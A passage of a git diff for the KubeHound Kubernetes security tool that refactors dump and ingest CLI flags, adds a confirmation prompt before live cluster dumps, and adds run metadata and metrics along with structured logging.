*cobra.Command) { - cmd.Flags().Bool("compress", false, "Enable compression for the dumped data (generates a tar.gz file)") - viper.BindPFlag(config.CollectorFileArchiveFormat, cmd.Flags().Lookup("compress")) //nolint: errcheck - - cmd.Flags().String("output-dir", "", "Directory to dump the data") - viper.BindPFlag(config.CollectorFileDirectory, cmd.Flags().Lookup("output-dir")) //nolint: errcheck - cmd.MarkFlagRequired("output-dir") //nolint: errcheck +func InitLocalDumpCmd(cmd *cobra.Command) { + cmd.Flags().Bool("no-compress", false, "Disable compression for the dumped data (generates a directory)") + viper.BindPFlag(config.CollectorFileArchiveNoCompress, cmd.Flags().Lookup("no-compress")) //nolint: errcheck } -func InitCloudCmd(cmd *cobra.Command) { - cmd.Flags().String("bucket", "", "Bucket to use to push k8s resources (e.g.: s3://)") - viper.BindPFlag(config.CollectorFileBlobBucket, cmd.Flags().Lookup("bucket")) //nolint: errcheck - cmd.MarkFlagRequired("bucket") //nolint: errcheck +func InitRemoteDumpCmd(cmd *cobra.Command) { + cmd.Flags().String("bucket-url", "", "Bucket to use to push k8s resources (e.g.: s3://)") + viper.BindPFlag(config.IngestorBlobBucketURL, cmd.Flags().Lookup("bucket-url")) //nolint: errcheck cmd.Flags().String("region", "", "Region to retrieve the configuration (only for s3) (e.g.: us-east-1)") - viper.BindPFlag(config.CollectorFileBlobRegion, cmd.Flags().Lookup("region")) //nolint: errcheck + viper.BindPFlag(config.IngestorBlobRegion, cmd.Flags().Lookup("region")) //nolint: errcheck +} + +func InitLocalIngestCmd(cmd *cobra.Command) { + InitCluster(cmd) + cmd.Flags().MarkDeprecated(flagCluster, "Since v1.4.1, KubeHound dump archive contains a metadata file holding the clustername") //nolint: errcheck } -func InitGrpcClientCmd(cmd *cobra.Command, standalone bool) { +func InitRemoteIngestCmd(cmd *cobra.Command, standalone bool) { - cmd.Flags().String("khaas-server", "", "GRPC endpoint exposed by KubeHound as a Service (KHaaS) server (e.g.: localhost:9000)") - cmd.Flags().Bool("insecure", config.DefaultIngestorAPIInsecure, "Allow insecure connection to the KHaaS server grpc endpoint") + cmd.PersistentFlags().String("khaas-server", "", "GRPC endpoint exposed by KubeHound as a Service (KHaaS) server (e.g.: localhost:9000)") + cmd.PersistentFlags().Bool("insecure", config.DefaultIngestorAPIInsecure, "Allow insecure connection to the KHaaS server grpc endpoint") // IngestorAPIEndpoint if standalone { - cmd.Flags().String("run_id", "", "KubeHound run id to ingest (e.g.: 01htdgjj34mcmrrksw4bjy2e94)") - viper.BindPFlag(config.IngestorRunID, cmd.Flags().Lookup("run_id")) //nolint: errcheck - cmd.MarkFlagRequired("run_id") //nolint: errcheck + InitCluster(cmd) + } +} - cmd.Flags().String("cluster", "", "Cluster name to ingest (e.g.: my-cluster-1)") - viper.BindPFlag(config.IngestorClusterName, cmd.Flags().Lookup("cluster")) //nolint: errcheck - cmd.MarkFlagRequired("cluster") //nolint: errcheck +const ( + flagCluster = "cluster" +) - // Reusing the same flags for the dump cloud and ingest command - cmd.MarkFlagRequired("khaas-server") //nolint: errcheck - } +func InitCluster(cmd *cobra.Command) { + cmd.Flags().String(flagCluster, "", "Cluster name to ingest (e.g.: my-cluster-1)") +} + +func BindFlagCluster(cmd *cobra.Command) { + viper.BindPFlag(config.DynamicClusterName, cmd.Flags().Lookup(flagCluster)) //nolint: errcheck } diff --git a/pkg/cmd/util.go b/pkg/cmd/util.go new file mode 100644 index 000000000..6fc11667f --- /dev/null +++ b/pkg/cmd/util.go @@ -0,0 +1,31 @@ +package cmd + +import ( + "context" + "fmt" + + "strings" + + "github.com/DataDog/KubeHound/pkg/telemetry/log" +) + +func AskForConfirmation(ctx context.Context) (bool, error) { + l := log.Logger(ctx) + + var response string + _, err := fmt.Scanln(&response) + if err != nil && err.Error() != "unexpected newline" { + return false, fmt.Errorf("scanln: %w", err) + } + + switch strings.ToLower(response) { + case "y", "yes": + return true, nil + case "n", "no": + return false, nil + default: + l.Info("Please type (y)es or (n)o and then press enter:") + + return AskForConfirmation(ctx) + } +} diff --git a/pkg/collector/collector.go b/pkg/collector/collector.go index a1d0989ab..ecf9bd370 100644 --- a/pkg/collector/collector.go +++ b/pkg/collector/collector.go @@ -3,6 +3,7 @@ package collector import ( "context" "fmt" + "time" "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/globals/types" @@ -77,6 +78,11 @@ type EndpointIngestor interface { Complete(context.Context) error } +// MetadataIngestor defines the interface to allow an ingestor to computed metrics and metadata from a collector. +type MetadataIngestor interface { + DumpMetadata(context.Context, Metadata) error +} + //go:generate mockery --name CollectorClient --output mockcollector --case underscore --filename collector_client.go --with-expecter type CollectorClient interface { //nolint: interfacebloat services.Dependency @@ -84,8 +90,8 @@ type CollectorClient interface { //nolint: interfacebloat // ClusterInfo returns the target cluster information for the current run. ClusterInfo(ctx context.Context) (*config.ClusterInfo, error) - // Tags return the tags for the current run. - Tags(ctx context.Context) []string + // Compute the metrics and gather all the metadata and dump it through the ingestor.DumpMetadata + ComputeMetadata(ctx context.Context, ingestor MetadataIngestor) error // StreamNodes will iterate through all NodeType objects collected by the collector and invoke the ingestor.IngestNode method on each. // Once all the NodeType objects have been exhausted the ingestor.Complete method will be invoked to signal the end of the stream. @@ -142,8 +148,8 @@ type collectorTags struct { baseTags []string } -func newCollectorTags() *collectorTags { - return &collectorTags{ +func newCollectorTags() collectorTags { + return collectorTags{ pod: tag.GetBaseTagsWith(tag.Collector(FileCollectorName), tag.Entity(tag.EntityPods)), role: tag.GetBaseTagsWith(tag.Collector(FileCollectorName), tag.Entity(tag.EntityRoles)), rolebinding: tag.GetBaseTagsWith(tag.Collector(FileCollectorName), tag.Entity(tag.EntityRolebindings)), @@ -154,3 +160,16 @@ func newCollectorTags() *collectorTags { baseTags: tag.GetBaseTags(), } } + +type Metrics struct { + DumpTime time.Time `json:"dump_time"` + RunDuration time.Duration `json:"run_duration"` + TotalWaitTime time.Duration `json:"total_wait_time"` + ThrottlingPercentage float64 `json:"throttling_percentage"` +} + +type Metadata struct { + RunID string `json:"run_id"` + ClusterName string `json:"cluster"` + Metrics Metrics `json:"metrics"` +} diff --git a/pkg/collector/file.go b/pkg/collector/file.go index 56f4f541a..089431f58 100644 --- a/pkg/collector/file.go +++ b/pkg/collector/file.go @@ -10,7 +10,6 @@ import ( "path/filepath" "github.com/DataDog/KubeHound/pkg/config" - "github.com/DataDog/KubeHound/pkg/globals" "github.com/DataDog/KubeHound/pkg/globals/types" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/metric" @@ -45,6 +44,7 @@ const ( PodPath = "pods.json" RolesPath = "roles.rbac.authorization.k8s.io.json" RoleBindingsPath = "rolebindings.rbac.authorization.k8s.io.json" + MetadataPath = "metadata.json" ) const ( @@ -53,13 +53,15 @@ const ( // FileCollector implements a collector based on local K8s API json files generated outside the KubeHound application via e.g kubectl. type FileCollector struct { - cfg *config.FileCollectorConfig - log *log.KubehoundLogger - tags *collectorTags + cfg *config.FileCollectorConfig + tags collectorTags + clusterName string } // NewFileCollector creates a new instance of the file collector from the provided application config. func NewFileCollector(ctx context.Context, cfg *config.KubehoundConfig) (CollectorClient, error) { + ctx = context.WithValue(ctx, log.ContextFieldComponent, FileCollectorName) + l := log.Trace(ctx) if cfg.Collector.Type != config.CollectorTypeFile { return nil, fmt.Errorf("invalid collector type in config: %s", cfg.Collector.Type) } @@ -68,18 +70,17 @@ func NewFileCollector(ctx context.Context, cfg *config.KubehoundConfig) (Collect return nil, errors.New("file collector config not provided") } - l := log.Trace(ctx, log.WithComponent(globals.FileCollectorComponent)) - l.Infof("Creating file collector from directory %s", cfg.Collector.File.Directory) + l.Info("Creating file collector from directory", log.String(log.FieldPathKey, cfg.Collector.File.Directory)) return &FileCollector{ - cfg: cfg.Collector.File, - log: l, - tags: newCollectorTags(), + cfg: cfg.Collector.File, + tags: newCollectorTags(), + clusterName: cfg.Dynamic.ClusterName, }, nil } -// TODO: remove this after all PR -func (c *FileCollector) Tags(ctx context.Context) []string { +// This function has no meaning in the file collector as it should already have all the metadata gathered in the dumped files. +func (c *FileCollector) ComputeMetadata(ctx context.Context, ingestor MetadataIngestor) error { return nil } @@ -97,7 +98,7 @@ func (c *FileCollector) HealthCheck(_ context.Context) (bool, error) { return false, fmt.Errorf("file collector base path is not a directory: %s", file.Name()) } - if c.cfg.ClusterName == "" { + if c.clusterName == "" { return false, errors.New("file collector cluster name not provided") } @@ -106,7 +107,7 @@ func (c *FileCollector) HealthCheck(_ context.Context) (bool, error) { func (c *FileCollector) ClusterInfo(ctx context.Context) (*config.ClusterInfo, error) { return &config.ClusterInfo{ - Name: c.cfg.ClusterName, + Name: c.clusterName, }, nil } @@ -123,7 +124,7 @@ func (c *FileCollector) streamPodsNamespace(ctx context.Context, fp string, inge } for _, item := range list.Items { - _ = statsd.Incr(metric.CollectorCount, c.tags.pod, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.pod, 1) i := item err = ingestor.IngestPod(ctx, &i) if err != nil { @@ -135,8 +136,9 @@ func (c *FileCollector) streamPodsNamespace(ctx context.Context, fp string, inge } func (c *FileCollector) StreamPods(ctx context.Context, ingestor PodIngestor) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, tag.EntityPods) + l := log.Trace(ctx) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -154,7 +156,7 @@ func (c *FileCollector) StreamPods(ctx context.Context, ingestor PodIngestor) er return nil } - c.log.Debugf("Streaming pods from file %s", fp) + l.Debug("Streaming pods from file", log.String(log.FieldPathKey, fp), log.String(log.FieldEntityKey, tag.EntityPods)) return c.streamPodsNamespace(ctx, fp, ingestor) }) @@ -174,7 +176,7 @@ func (c *FileCollector) streamRolesNamespace(ctx context.Context, fp string, ing } for _, item := range list.Items { - _ = statsd.Incr(metric.CollectorCount, c.tags.role, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.role, 1) i := item err = ingestor.IngestRole(ctx, &i) if err != nil { @@ -186,8 +188,9 @@ func (c *FileCollector) streamRolesNamespace(ctx context.Context, fp string, ing } func (c *FileCollector) StreamRoles(ctx context.Context, ingestor RoleIngestor) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, tag.EntityRoles) + l := log.Trace(ctx) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -197,17 +200,17 @@ func (c *FileCollector) StreamRoles(ctx context.Context, ingestor RoleIngestor) return nil } - f := filepath.Join(path, RolesPath) + fp := filepath.Join(path, RolesPath) // Check if the file exists - if _, err := os.Stat(f); os.IsNotExist(err) { + if _, err := os.Stat(fp); os.IsNotExist(err) { // Skipping streaming as file does not exist (k8s type not necessary required in a namespace, for instance, an namespace can have no roles) return nil } - c.log.Debugf("Streaming roles from file %s", f) + l.Debug("Streaming roles from file", log.String(log.FieldPathKey, fp), log.String(log.FieldEntityKey, tag.EntityRoles)) - return c.streamRolesNamespace(ctx, f, ingestor) + return c.streamRolesNamespace(ctx, fp, ingestor) }) if err != nil { @@ -225,7 +228,7 @@ func (c *FileCollector) streamRoleBindingsNamespace(ctx context.Context, fp stri } for _, item := range list.Items { - _ = statsd.Incr(metric.CollectorCount, c.tags.rolebinding, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.rolebinding, 1) i := item err = ingestor.IngestRoleBinding(ctx, &i) if err != nil { @@ -237,8 +240,9 @@ func (c *FileCollector) streamRoleBindingsNamespace(ctx context.Context, fp stri } func (c *FileCollector) StreamRoleBindings(ctx context.Context, ingestor RoleBindingIngestor) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, tag.EntityRolebindings) + l := log.Trace(ctx) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -256,7 +260,7 @@ func (c *FileCollector) StreamRoleBindings(ctx context.Context, ingestor RoleBin return nil } - c.log.Debugf("Streaming role bindings from file %s", fp) + l.Debug("Streaming role bindings from file", log.String(log.FieldPathKey, fp), log.String(log.FieldEntityKey, tag.EntityRolebindings)) return c.streamRoleBindingsNamespace(ctx, fp, ingestor) }) @@ -276,7 +280,7 @@ func (c *FileCollector) streamEndpointsNamespace(ctx context.Context, fp string, } for _, item := range list.Items { - _ = statsd.Incr(metric.CollectorCount, c.tags.endpoint, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.endpoint, 1) i := item err = ingestor.IngestEndpoint(ctx, &i) if err != nil { @@ -288,8 +292,9 @@ func (c *FileCollector) streamEndpointsNamespace(ctx context.Context, fp string, } func (c *FileCollector) StreamEndpoints(ctx context.Context, ingestor EndpointIngestor) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, tag.EntityEndpoints) + l := log.Trace(ctx) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -306,8 +311,7 @@ func (c *FileCollector) StreamEndpoints(ctx context.Context, ingestor EndpointIn // Skipping streaming as file does not exist (k8s type not necessary required in a namespace, for instance, an namespace can have no endpoints) return nil } - - c.log.Debugf("Streaming endpoint slices from file %s", fp) + l.Debug("Streaming endpoints slices from file", log.String(log.FieldPathKey, fp), log.String(log.FieldEntityKey, tag.EntityEndpoints)) return c.streamEndpointsNamespace(ctx, fp, ingestor) }) @@ -320,13 +324,14 @@ func (c *FileCollector) StreamEndpoints(ctx context.Context, ingestor EndpointIn } func (c *FileCollector) StreamNodes(ctx context.Context, ingestor NodeIngestor) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, tag.EntityNodes) + l := log.Trace(ctx) var err error defer func() { span.Finish(tracer.WithError(err)) }() fp := filepath.Join(c.cfg.Directory, NodePath) - c.log.Debugf("Streaming nodes from file %s", fp) + l.Debug("Streaming nodes from file", log.String(log.FieldPathKey, fp), log.String(log.FieldEntityKey, tag.EntityNodes)) list, err := readList[corev1.NodeList](ctx, fp) if err != nil { @@ -334,7 +339,7 @@ func (c *FileCollector) StreamNodes(ctx context.Context, ingestor NodeIngestor) } for _, item := range list.Items { - _ = statsd.Incr(metric.CollectorCount, c.tags.node, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.node, 1) i := item err = ingestor.IngestNode(ctx, &i) if err != nil { @@ -346,13 +351,14 @@ func (c *FileCollector) StreamNodes(ctx context.Context, ingestor NodeIngestor) } func (c *FileCollector) StreamClusterRoles(ctx context.Context, ingestor ClusterRoleIngestor) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, tag.EntityClusterRoles) + l := log.Trace(ctx) var err error defer func() { span.Finish(tracer.WithError(err)) }() fp := filepath.Join(c.cfg.Directory, ClusterRolesPath) - c.log.Debugf("Streaming cluster roles from file %s", fp) + l.Debug("Streaming cluster role from file", log.String(log.FieldPathKey, fp), log.String(log.FieldEntityKey, tag.EntityClusterRoles)) list, err := readList[rbacv1.ClusterRoleList](ctx, fp) if err != nil { @@ -360,7 +366,7 @@ func (c *FileCollector) StreamClusterRoles(ctx context.Context, ingestor Cluster } for _, item := range list.Items { - _ = statsd.Incr(metric.CollectorCount, c.tags.clusterrole, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.clusterrole, 1) i := item err = ingestor.IngestClusterRole(ctx, &i) if err != nil { @@ -372,13 +378,14 @@ func (c *FileCollector) StreamClusterRoles(ctx context.Context, ingestor Cluster } func (c *FileCollector) StreamClusterRoleBindings(ctx context.Context, ingestor ClusterRoleBindingIngestor) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, tag.EntityClusterRolebindings) + l := log.Trace(ctx) var err error defer func() { span.Finish(tracer.WithError(err)) }() fp := filepath.Join(c.cfg.Directory, ClusterRoleBindingsPath) - c.log.Debugf("Streaming cluster role bindings from file %s", fp) + l.Debug("Streaming cluster role bindings from file", log.String(log.FieldPathKey, fp), log.String(log.FieldEntityKey, tag.EntityClusterRolebindings)) list, err := readList[rbacv1.ClusterRoleBindingList](ctx, fp) if err != nil { @@ -386,7 +393,7 @@ func (c *FileCollector) StreamClusterRoleBindings(ctx context.Context, ingestor } for _, item := range list.Items { - _ = statsd.Incr(metric.CollectorCount, c.tags.clusterrolebinding, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.clusterrolebinding, 1) i := item err = ingestor.IngestClusterRoleBinding(ctx, &i) if err != nil { @@ -400,7 +407,7 @@ func (c *FileCollector) StreamClusterRoleBindings(ctx context.Context, ingestor // readList loads a list of K8s API objects into memory from a JSON file on disk. // NOTE: This implementation reads the entire array of objects from the file into memory at once. func readList[Tl types.ListInputType](ctx context.Context, inputPath string) (Tl, error) { - span, _ := tracer.StartSpanFromContext(ctx, span.DumperReadFile, tracer.Measured()) + span, _ := span.SpanRunFromContext(ctx, span.DumperReadFile) var err error defer func() { span.Finish(tracer.WithError(err)) }() diff --git a/pkg/collector/file_test.go b/pkg/collector/file_test.go index 4c100586f..ce179dfd7 100644 --- a/pkg/collector/file_test.go +++ b/pkg/collector/file_test.go @@ -16,7 +16,7 @@ func TestFileCollector_Constructor(t *testing.T) { t.Parallel() v := viper.New() - cfg, err := config.NewConfig(v, "testdata/kubehound-test.yaml") + cfg, err := config.NewConfig(context.TODO(), v, "testdata/kubehound-test.yaml") assert.NoError(t, err) c, err := NewFileCollector(context.Background(), cfg) @@ -50,9 +50,9 @@ func TestFileCollector_HealthCheck(t *testing.T) { c = &FileCollector{ cfg: &config.FileCollectorConfig{ - Directory: "testdata/test-cluster/", - ClusterName: "test-cluster", + Directory: "testdata/test-cluster/", }, + clusterName: "test-cluster", } ok, err = c.HealthCheck(context.Background()) @@ -64,7 +64,7 @@ func NewTestFileCollector(t *testing.T) *FileCollector { t.Helper() v := viper.New() - cfg, err := config.NewConfig(v, "testdata/kubehound-test.yaml") + cfg, err := config.NewConfig(context.TODO(), v, "testdata/kubehound-test.yaml") assert.NoError(t, err) c, err := NewFileCollector(context.Background(), cfg) diff --git a/pkg/collector/k8s_api.go b/pkg/collector/k8s_api.go index 181600efb..d6796a88e 100644 --- a/pkg/collector/k8s_api.go +++ b/pkg/collector/k8s_api.go @@ -7,6 +7,7 @@ import ( "sync" "time" + "github.com/DataDog/KubeHound/pkg/cmd" "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/metric" @@ -30,14 +31,16 @@ import ( // FileCollector implements a collector based on local K8s API json files generated outside the KubeHound application via e.g kubectl. type k8sAPICollector struct { - clientset kubernetes.Interface - log *log.KubehoundLogger - rl ratelimit.Limiter - cfg *config.K8SAPICollectorConfig - tags collectorTags - waitTime map[string]time.Duration - startTime time.Time - mu *sync.Mutex + clientset kubernetes.Interface + rl ratelimit.Limiter + cfg *config.K8SAPICollectorConfig + tags collectorTags + waitTime map[string]time.Duration + startTime time.Time + mu *sync.Mutex + isStreaming bool + clusterName string + runID string } const ( @@ -67,9 +70,32 @@ func tunedListOptions() metav1.ListOptions { // NewK8sAPICollector creates a new instance of the k8s live API collector from the provided application config. func NewK8sAPICollector(ctx context.Context, cfg *config.KubehoundConfig) (CollectorClient, error) { - l := log.Trace(ctx, log.WithComponent(K8sAPICollectorName)) + ctx = context.WithValue(ctx, log.ContextFieldComponent, K8sAPICollectorName) + l := log.Trace(ctx) - err := checkK8sAPICollectorConfig(cfg.Collector.Type) + clusterName, err := config.GetClusterName(ctx) + if err != nil { + return nil, err + } + if clusterName == "" { + return nil, errors.New("Cluster name is empty. Did you forget to set `KUBECONFIG` or use `kubectx` to select a cluster?") + } + + if !cfg.Collector.NonInteractive { + l.Warn("About to dump k8s cluster - Do you want to continue ? [Yes/No]", log.String(log.FieldClusterKey, clusterName)) + proceed, err := cmd.AskForConfirmation(ctx) + if err != nil { + return nil, err + } + + if !proceed { + return nil, errors.New("user did not confirm") + } + } else { + l.Warnf("Non-interactive mode enabled, proceeding with k8s cluster dump: %s", clusterName) + } + + err = checkK8sAPICollectorConfig(cfg.Collector.Type) if err != nil { return nil, err } @@ -87,45 +113,69 @@ func NewK8sAPICollector(ctx context.Context, cfg *config.KubehoundConfig) (Colle } return &k8sAPICollector{ - cfg: cfg.Collector.Live, - clientset: clientset, - log: l, - rl: ratelimit.New(cfg.Collector.Live.RateLimitPerSecond), // per second - tags: *newCollectorTags(), - waitTime: map[string]time.Duration{}, - startTime: time.Now(), - mu: &sync.Mutex{}, + cfg: cfg.Collector.Live, + clientset: clientset, + rl: ratelimit.New(cfg.Collector.Live.RateLimitPerSecond), // per second + tags: newCollectorTags(), + waitTime: map[string]time.Duration{}, + startTime: time.Now(), + mu: &sync.Mutex{}, + clusterName: clusterName, + runID: cfg.Dynamic.RunID.String(), }, nil } -// TODO: remove this after all PR -func (c *k8sAPICollector) Tags(ctx context.Context) []string { +func (c *k8sAPICollector) ComputeMetadata(ctx context.Context, ingestor MetadataIngestor) error { + metrics, err := c.computeMetrics(ctx) + if err != nil { + return fmt.Errorf("error computing metrics: %w", err) + } + + metadata := Metadata{ + ClusterName: c.clusterName, + RunID: c.runID, + Metrics: metrics, + } + + err = ingestor.DumpMetadata(ctx, metadata) + if err != nil { + return fmt.Errorf("ingesting metadata: %w", err) + } + return nil } -func (c *k8sAPICollector) wait(_ context.Context, resourceType string, tags []string) { +func (c *k8sAPICollector) wait(ctx context.Context, resourceType string, tags []string) { + l := log.Logger(ctx) + c.mu.Lock() prev := time.Now() now := c.rl.Take() waitTime := now.Sub(prev) - c.mu.Lock() defer c.mu.Unlock() c.waitTime[resourceType] += waitTime + // Display a message to tell the user the streaming has started (only once after the approval has been made) + if !c.isStreaming { + l.Info("Streaming data from the K8s API") + c.isStreaming = true + } + // entity := tag.Entity(resourceType) - err := statsd.Gauge(metric.CollectorWait, float64(c.waitTime[resourceType]), tags, 1) + err := statsd.Gauge(ctx, metric.CollectorWait, float64(c.waitTime[resourceType]), tags, 1) if err != nil { - log.I.Error(err) + l.Error("could not send gauge", log.ErrorField(err)) } } -func (c *k8sAPICollector) waitTimeByResource(resourceType string, span ddtrace.Span) { +func (c *k8sAPICollector) waitTimeByResource(ctx context.Context, resourceType string, span ddtrace.Span) { + l := log.Logger(ctx) c.mu.Lock() defer c.mu.Unlock() waitTime := c.waitTime[resourceType] span.SetTag(tag.WaitTag, waitTime) - log.I.Debugf("Wait time for %s: %s", resourceType, waitTime) + l.Debugf("Wait time for %s: %s", resourceType, waitTime) } func (c *k8sAPICollector) Name() string { @@ -133,7 +183,8 @@ func (c *k8sAPICollector) Name() string { } func (c *k8sAPICollector) HealthCheck(ctx context.Context) (bool, error) { - c.log.Debugf("Requesting /healthz endpoint") + l := log.Logger(ctx) + l.Debug("Requesting /healthz endpoint") rawRes, err := c.clientset.Discovery().RESTClient().Get().AbsPath("/healthz").DoRaw(ctx) if err != nil { @@ -153,7 +204,8 @@ func (c *k8sAPICollector) ClusterInfo(ctx context.Context) (*config.ClusterInfo, } // Generate metrics for k8sAPI collector -func (c *k8sAPICollector) computeMetrics(_ context.Context) error { +func (c *k8sAPICollector) computeMetrics(ctx context.Context) (Metrics, error) { + l := log.Logger(ctx) var errMetric error var runTotalWaitTime time.Duration for _, wait := range c.waitTime { @@ -161,35 +213,37 @@ func (c *k8sAPICollector) computeMetrics(_ context.Context) error { } runDuration := time.Since(c.startTime) - err := statsd.Gauge(metric.CollectorRunWait, float64(runTotalWaitTime), c.tags.baseTags, 1) + err := statsd.Gauge(ctx, metric.CollectorRunWait, float64(runTotalWaitTime), c.tags.baseTags, 1) if err != nil { errMetric = errors.Join(errMetric, err) - log.I.Error(err) + l.Error("could not send gauge", log.ErrorField(err)) } - err = statsd.Gauge(metric.CollectorRunDuration, float64(runDuration), c.tags.baseTags, 1) + err = statsd.Gauge(ctx, metric.CollectorRunDuration, float64(runDuration), c.tags.baseTags, 1) if err != nil { errMetric = errors.Join(errMetric, err) - log.I.Error(err) + l.Error("could not send gauge", log.ErrorField(err)) } runThrottlingPercentage := 1 - (float64(runDuration-runTotalWaitTime) / float64(runDuration)) - err = statsd.Gauge(metric.CollectorRunThrottling, runThrottlingPercentage, c.tags.baseTags, 1) + err = statsd.Gauge(ctx, metric.CollectorRunThrottling, runThrottlingPercentage, c.tags.baseTags, 1) if err != nil { errMetric = errors.Join(errMetric, err) - log.I.Error(err) + l.Error("could not send gauge", log.ErrorField(err)) + } + l.Info("Stats for the run time duration", log.Dur("run", runDuration), log.Dur("wait", runTotalWaitTime), log.Percent("throttling_percent", 100*runThrottlingPercentage, 100)) + + // SaveMetadata + metadata := Metrics{ + DumpTime: time.Now(), + RunDuration: runDuration, + TotalWaitTime: runTotalWaitTime, + ThrottlingPercentage: runThrottlingPercentage, } - log.I.Infof("Stats for the run time duration: %s / wait: %s / throttling: %f%%", runDuration, runTotalWaitTime, 100*runThrottlingPercentage) //nolint:gomnd - return errMetric + return metadata, errMetric } func (c *k8sAPICollector) Close(ctx context.Context) error { - err := c.computeMetrics(ctx) - if err != nil { - // We don't want to return an error here as it is just metrics and won't affect the collection of data - log.I.Errorf("Error computing metrics: %s", err) - } - return nil } @@ -234,7 +288,7 @@ func (c *k8sAPICollector) streamPodsNamespace(ctx context.Context, namespace str c.setPagerConfig(pager) return pager.EachListItem(ctx, opts, func(obj runtime.Object) error { - _ = statsd.Incr(metric.CollectorCount, c.tags.pod, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.pod, 1) c.wait(ctx, entity, c.tags.pod) item, ok := obj.(*corev1.Pod) if !ok { @@ -252,7 +306,7 @@ func (c *k8sAPICollector) streamPodsNamespace(ctx context.Context, namespace str func (c *k8sAPICollector) StreamPods(ctx context.Context, ingestor PodIngestor) error { entity := tag.EntityPods - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, entity) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -263,7 +317,7 @@ func (c *k8sAPICollector) StreamPods(ctx context.Context, ingestor PodIngestor) return err } - c.waitTimeByResource(entity, span) + c.waitTimeByResource(ctx, entity, span) return ingestor.Complete(ctx) } @@ -289,7 +343,7 @@ func (c *k8sAPICollector) streamRolesNamespace(ctx context.Context, namespace st c.setPagerConfig(pager) return pager.EachListItem(ctx, opts, func(obj runtime.Object) error { - _ = statsd.Incr(metric.CollectorCount, c.tags.role, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.role, 1) c.wait(ctx, entity, c.tags.role) item, ok := obj.(*rbacv1.Role) if !ok { @@ -307,7 +361,7 @@ func (c *k8sAPICollector) streamRolesNamespace(ctx context.Context, namespace st func (c *k8sAPICollector) StreamRoles(ctx context.Context, ingestor RoleIngestor) error { entity := tag.EntityRoles - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, entity) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -318,7 +372,7 @@ func (c *k8sAPICollector) StreamRoles(ctx context.Context, ingestor RoleIngestor return err } - c.waitTimeByResource(entity, span) + c.waitTimeByResource(ctx, entity, span) return ingestor.Complete(ctx) } @@ -344,7 +398,7 @@ func (c *k8sAPICollector) streamRoleBindingsNamespace(ctx context.Context, names c.setPagerConfig(pager) return pager.EachListItem(ctx, opts, func(obj runtime.Object) error { - _ = statsd.Incr(metric.CollectorCount, c.tags.rolebinding, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.rolebinding, 1) c.wait(ctx, entity, c.tags.rolebinding) item, ok := obj.(*rbacv1.RoleBinding) if !ok { @@ -362,7 +416,7 @@ func (c *k8sAPICollector) streamRoleBindingsNamespace(ctx context.Context, names func (c *k8sAPICollector) StreamRoleBindings(ctx context.Context, ingestor RoleBindingIngestor) error { entity := tag.EntityRolebindings - span, ctx := tracer.StartSpanFromContext(ctx, span.CollectorStream, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.CollectorStream) span.SetTag(tag.EntityTag, entity) var err error defer func() { span.Finish(tracer.WithError(err)) }() @@ -373,7 +427,7 @@ func (c *k8sAPICollector) StreamRoleBindings(ctx context.Context, ingestor RoleB return err } - c.waitTimeByResource(entity, span) + c.waitTimeByResource(ctx, entity, span) return ingestor.Complete(ctx) } @@ -399,7 +453,7 @@ func (c *k8sAPICollector) streamEndpointsNamespace(ctx context.Context, namespac c.setPagerConfig(pager) return pager.EachListItem(ctx, opts, func(obj runtime.Object) error { - _ = statsd.Incr(metric.CollectorCount, c.tags.endpoint, 1) + _ = statsd.Incr(ctx, metric.CollectorCount, c.tags.endpoint, 1) c.wait(ctx, entity, c.tags.endpoint) item, ok := obj.(*discoveryv1.EndpointSlice) if !ok { @@ -417,7 +471,7 @@ func (c *k8sAPICollector) streamEndpointsNamespace(ctx context.Context, namespac func (c *k8sAPICollector) StreamEndpoints(ctx context.Context, ingestor 